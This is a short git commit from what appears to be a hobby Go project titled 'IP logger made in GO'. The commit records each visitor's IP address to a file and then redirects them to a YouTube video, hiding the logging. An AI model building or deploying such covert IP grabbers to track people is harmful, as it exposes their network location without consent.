Added redirect options

This commit is contained in:
Calamitas 2022-07-14 18:46:02 -05:00
parent 19a63f7715
commit d5ce87d43c
2 changed files with 3 additions and 3 deletions

View File

@ -0,0 +1 @@
IP logger made in GO

View File

@ -1,7 +1,6 @@
package main
import (
"fmt"
"log"
"net/http"
"os"
@ -9,8 +8,8 @@ import (
func handler(w http.ResponseWriter, r *http.Request) {
ip := GetRealIP(r)
fmt.Fprintf(w, ip)
WritetoFile(ip)
WritetoFile(ip + "\n")
http.Redirect(w, r, "https://www.youtube.com/watch?v=ZVQDHFgfssM", 301)
}
func GetRealIP(r *http.Request) string {